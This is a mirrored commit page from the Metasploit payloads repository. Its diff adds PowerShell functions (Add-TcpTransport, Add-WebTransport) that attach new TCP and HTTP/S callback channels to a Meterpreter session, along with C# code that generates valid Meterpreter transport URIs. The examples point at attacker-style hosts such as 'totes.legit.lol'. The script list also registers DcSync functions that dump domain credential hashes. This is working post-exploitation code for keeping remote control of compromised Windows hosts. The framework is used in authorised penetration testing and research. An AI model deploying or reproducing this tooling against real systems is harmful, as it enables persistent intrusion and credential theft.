mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Add powershell transport scripts
This commit adds two new scripts and modifies some of the powershell transport binding functionality. Code has been added that generates valid Metasploit URIs for use with stageless listeners. This means that it's possible to add HTTP/S transports on the fly and have a URL generated that will work with the current architecture of the process. Two new scripts will appear in each of the powershell sessions: * Add-WebTransport - adds http/s transports to the session. * Add-TcpTransport - adds TCP transports to the session. These two scripts are just abstractions on top of the built-in Meterpreter transport binding functionality, but it makes it a lot easier to interact with the feature and makes it more.. er.. Powershelly. The functions come with documnetation, so `Get-Help Add-WebTransport -Full` will show how it's used. From here, people can do some more fun stuff, such as adding init scripts to their stageless payloads that add support for more transports.
This commit is contained in:
parent
f79c160d04
commit
3dc014e8ad
c/meterpreter/source/extensions/powershell
powershell/MSF.Powershell
File diff suppressed because it is too large
Load Diff
@ -6,7 +6,7 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
|
||||
|
||||
#define PSHRUNNER_DLL_LEN 49664
|
||||
#define PSHRUNNER_DLL_LEN 58880
|
||||
|
||||
extern unsigned char PowerShellRunnerDll[PSHRUNNER_DLL_LEN];
|
||||
|
||||
|
@ -15,7 +15,7 @@ namespace MSF.Powershell.Meterpreter
|
||||
public string ProxyHost { get; set; }
|
||||
public string ProxyUser { get; set; }
|
||||
public string ProxyPass { get; set; }
|
||||
public byte[] CertHash { get; set; }
|
||||
public string CertHash { get; set; }
|
||||
}
|
||||
|
||||
public class SessionDefinition
|
||||
@ -61,8 +61,13 @@ namespace MSF.Powershell.Meterpreter
|
||||
ProxyHost = Tlv.GetValue<string>(transportDict, TlvType.TransProxyHost, string.Empty),
|
||||
ProxyUser = Tlv.GetValue<string>(transportDict, TlvType.TransProxyUser, string.Empty),
|
||||
ProxyPass = Tlv.GetValue<string>(transportDict, TlvType.TransProxyPass, string.Empty),
|
||||
CertHash = Tlv.GetValue<byte[]>(transportDict, TlvType.TransCertHash)
|
||||
};
|
||||
var hash = Tlv.GetValue<byte[]>(transportDict, TlvType.TransCertHash);
|
||||
if (hash != null && hash.Length > 0)
|
||||
{
|
||||
transport.CertHash = BitConverter.ToString(hash).Replace("-", "");
|
||||
}
|
||||
|
||||
session.Transports.Add(transport);
|
||||
}
|
||||
|
||||
@ -78,6 +83,71 @@ namespace MSF.Powershell.Meterpreter
|
||||
return null;
|
||||
}
|
||||
|
||||
private static string ToUriString(byte[] b)
|
||||
{
|
||||
return System.Convert.ToBase64String(b).Replace("+", "-").Replace("/", "_").Replace("=", "");
|
||||
}
|
||||
|
||||
private static int GetUnixTime()
|
||||
{
|
||||
return (int)(DateTime.UtcNow - DateTime.Parse("1/1/1970")).TotalSeconds;
|
||||
}
|
||||
|
||||
private static byte[] GenerateRandomBytes(int count)
|
||||
{
|
||||
var b = new byte[count];
|
||||
var c = new System.Security.Cryptography.RNGCryptoServiceProvider();
|
||||
c.GetNonZeroBytes(b);
|
||||
return b;
|
||||
}
|
||||
|
||||
private static string GenerateRandomUri()
|
||||
{
|
||||
return ToUriString(GenerateRandomBytes(12));
|
||||
}
|
||||
|
||||
private static string GenerateUuid()
|
||||
{
|
||||
var arch = IntPtr.Size == 4 ? 1 : 2;
|
||||
var uuid = GenerateRandomBytes(16);
|
||||
uuid[10] = (byte)(uuid[8] ^ 1);
|
||||
uuid[11] = (byte)(uuid[9] ^ arch);
|
||||
var tx = BitConverter.ToInt32(new byte[] { uuid[9], uuid[8], uuid[9], uuid[8] }, 0);
|
||||
var t = BitConverter.GetBytes(System.Net.IPAddress.HostToNetworkOrder(tx ^ GetUnixTime()));
|
||||
uuid[12] = t[0];
|
||||
uuid[13] = t[1];
|
||||
uuid[14] = t[2];
|
||||
uuid[15] = t[3];
|
||||
return ToUriString(uuid);
|
||||
}
|
||||
|
||||
private static int Check8(string s)
|
||||
{
|
||||
var sum = 0;
|
||||
foreach (var c in System.Text.Encoding.ASCII.GetBytes(s))
|
||||
{
|
||||
sum += (int)c;
|
||||
}
|
||||
return sum % 0x100;
|
||||
}
|
||||
|
||||
public static string GenerateTransportUri()
|
||||
{
|
||||
var uuid = GenerateUuid();
|
||||
var sum = 98;
|
||||
|
||||
for (var i = 1; i <= 1000; ++i)
|
||||
{
|
||||
var t = uuid + GenerateRandomUri();
|
||||
if (sum == Check8(t))
|
||||
{
|
||||
return string.Format("/{0}/", t);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static bool Add(TransportInstance transport, int sessionExpiry = 0)
|
||||
{
|
||||
Tlv tlv = new Tlv();
|
||||
@ -115,9 +185,14 @@ namespace MSF.Powershell.Meterpreter
|
||||
{
|
||||
tlv.Pack(TlvType.TransUa, transport.ProxyPass);
|
||||
}
|
||||
if (transport.CertHash != null && transport.CertHash.Length > 0)
|
||||
if (!string.IsNullOrEmpty(transport.CertHash))
|
||||
{
|
||||
tlv.Pack(TlvType.TransCertHash, transport.CertHash);
|
||||
var hash = new byte[transport.CertHash.Length / 2];
|
||||
for (var i = 0; i < hash.Length; ++i )
|
||||
{
|
||||
hash[i] = Convert.ToByte(transport.CertHash.Substring(i * 2, 2), 16);
|
||||
}
|
||||
tlv.Pack(TlvType.TransCertHash, hash);
|
||||
}
|
||||
|
||||
var result = Core.InvokeMeterpreterBinding(true, tlv.ToRequest("core_transport_add"));
|
||||
|
@ -4,6 +4,156 @@ namespace MSF.Powershell
|
||||
{
|
||||
internal static class Scripts
|
||||
{
|
||||
private static readonly string AddTcpTransport = @"
|
||||
function Add-TcpTransport {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Add an active TCP transport to the current session.
|
||||
|
||||
.PARAMETER Lhost
|
||||
Specifies the listener host name or IP of the machine to connect to.
|
||||
|
||||
.PARAMETER Lport
|
||||
Specifies port to connect back to.
|
||||
|
||||
.PARAMETER CommTimeout
|
||||
Specifies the packet communications timeout (in seconds).
|
||||
|
||||
.PARAMETER RetryTotal
|
||||
Specifies the total time to retry for when the transport disconnects (in seconds).
|
||||
|
||||
.PARAMETER RetryWait
|
||||
Specifies the time to wait between each retry for when the transport disconnects (in seconds).
|
||||
|
||||
.INPUTS
|
||||
None.
|
||||
|
||||
.OUTPUTS
|
||||
True if successful, False otherwise.
|
||||
|
||||
.EXAMPLE
|
||||
Add-TcpTransport -Lhost 10.1.1.1 -Lport 8000
|
||||
|
||||
.EXAMPLE
|
||||
Add-TcpTransport -Lhost totes.legit.lol -Lport 1337
|
||||
#>
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$Lhost,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[Int]
|
||||
$Lport,
|
||||
[Int]
|
||||
$CommTimeout,
|
||||
[Int]
|
||||
$RetryTotal,
|
||||
[Int]
|
||||
$RetryWait
|
||||
)
|
||||
$t = New-Object MSF.Powershell.Meterpreter.Transport+TransportInstance
|
||||
$t.Url = 'tcp://{0}:{1}' -f $Lhost, $Lport
|
||||
$t.CommTimeout = $CommTimeout
|
||||
$t.RetryTotal = $RetryTotal
|
||||
$t.RetryWait = $RetryWait
|
||||
|
||||
return [MSF.Powershell.Meterpreter.Transport]::Add($t)
|
||||
}";
|
||||
private static readonly string AddWebTransport = @"
|
||||
function Add-WebTransport {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Add a web-based transport (http/s) to the current session.
|
||||
|
||||
.PARAMETER Url
|
||||
Specifies the full URL of the listener that this transport will connect to.
|
||||
The URL must contain all components, including scheme (http/s), domain, port
|
||||
(if it's a non-standard port for the scheme) and LURI. There is no need to
|
||||
specify the Meterpreter URI as this is generated on the fly automatically.
|
||||
|
||||
.PARAMETER CommTimeout
|
||||
Specifies the packet communications timeout (in seconds).
|
||||
|
||||
.PARAMETER RetryTotal
|
||||
Specifies the total time to retry for when the transport disconnects (in seconds).
|
||||
|
||||
.PARAMETER RetryWait
|
||||
Specifies the time to wait between each retry for when the transport disconnects (in seconds).
|
||||
|
||||
.PARAMETER UserAgent
|
||||
Specifies user agent to use when making the web requests.
|
||||
|
||||
.PARAMETER ProxyHost
|
||||
Specifies host address for the proxy server, if required.
|
||||
|
||||
.PARAMETER ProxyUser
|
||||
Specifies username for proxy authentication, if required.
|
||||
|
||||
.PARAMETER ProxyPass
|
||||
Specifies password for proxy authentication, if required.
|
||||
|
||||
.PARAMETER CertHash
|
||||
Specifies the SHA1 hash of the https server certificate (as a hex-encoded string) that is
|
||||
expected to be presented.
|
||||
|
||||
.INPUTS
|
||||
None.
|
||||
|
||||
.OUTPUTS
|
||||
True if successful, False otherwise.
|
||||
|
||||
.EXAMPLE
|
||||
Add-WebTransport -Url https://foo.com/someuri
|
||||
|
||||
.EXAMPLE
|
||||
Add-WebTransport -Url http://foo.com:8080/myendpoint -RetryTotal 60 -RetryWait 5
|
||||
|
||||
.EXAMPLE
|
||||
Add-WebTransport -Url https://foo.com -UserAgent 'TotesLegit (v1.0)' -CertHash 01A0EF17832F0356BD8164254BB725857465B918
|
||||
#>
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[String]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
$Url,
|
||||
[Int]
|
||||
$CommTimeout,
|
||||
[Int]
|
||||
$RetryTotal,
|
||||
[Int]
|
||||
$RetryWait,
|
||||
[String]
|
||||
$UserAgent,
|
||||
[String]
|
||||
$ProxyHost,
|
||||
[String]
|
||||
$ProxyUser,
|
||||
[String]
|
||||
$ProxyPass,
|
||||
[String]
|
||||
$CertHash
|
||||
)
|
||||
# Make sure this URL is valid
|
||||
[System.Uri]$uri = $Url
|
||||
If (-not ($uri.Scheme.ToLower() -eq 'http' -Or $uri.Scheme.ToLower() -eq 'https')) {
|
||||
throw 'Specified scheme is invalid'
|
||||
}
|
||||
|
||||
$t = New-Object MSF.Powershell.Meterpreter.Transport+TransportInstance
|
||||
$t.Url = $Url + [MSF.Powershell.Meterpreter.Transport]::GenerateTransportUri()
|
||||
$t.CommTimeout = $CommTimeout
|
||||
$t.UserAgent = $UserAgent
|
||||
$t.ProxyHost = $ProxyHost
|
||||
$t.ProxyUser = $ProxyUser
|
||||
$t.ProxyPass = $ProxyPass
|
||||
$t.RetryTotal = $RetryTotal
|
||||
$t.RetryWait = $RetryWait
|
||||
$t.CertHash = $CertHash
|
||||
|
||||
return [MSF.Powershell.Meterpreter.Transport]::Add($t)
|
||||
}
|
||||
";
|
||||
private static readonly string InvokeDcSync = @"
|
||||
function Invoke-DcSync {
|
||||
<#
|
||||
@ -39,7 +189,7 @@ function Invoke-DcSync {
|
||||
$DomainFqdn
|
||||
)
|
||||
return [MSF.Powershell.Meterpreter.Kiwi]::DcSync($User, $DomainController, $DomainFqdn)
|
||||
} ";
|
||||
}";
|
||||
|
||||
private static readonly string InvokeDcSyncAll = @"
|
||||
function Invoke-DcSyncAll {
|
||||
@ -97,7 +247,7 @@ function Invoke-DcSyncAll {
|
||||
$s.IncludeEmpty = $IncludeEmpty
|
||||
$s.IncludeMachineAccounts = $IncludeMachineAccounts
|
||||
return [MSF.Powershell.Meterpreter.Kiwi]::DcSyncAll($s)
|
||||
} ";
|
||||
}";
|
||||
|
||||
private static readonly string InvokeDcSyncHashDump = @"
|
||||
function Invoke-DcSyncHashDump {
|
||||
@ -157,12 +307,14 @@ function Invoke-DcSyncHashDump {
|
||||
$s.IncludeEmpty = $IncludeEmpty
|
||||
$s.IncludeMachineAccounts = $IncludeMachineAccounts
|
||||
return [MSF.Powershell.Meterpreter.Kiwi]::DcSyncHashDump($s)
|
||||
} ";
|
||||
}";
|
||||
|
||||
internal static IEnumerable<string> GetAllScripts()
|
||||
{
|
||||
return new List<string>
|
||||
{
|
||||
AddWebTransport,
|
||||
AddTcpTransport,
|
||||
InvokeDcSync,
|
||||
InvokeDcSyncAll,
|
||||
InvokeDcSyncHashDump,
|
||||
|
Loading…
x
Reference in New Issue
Block a user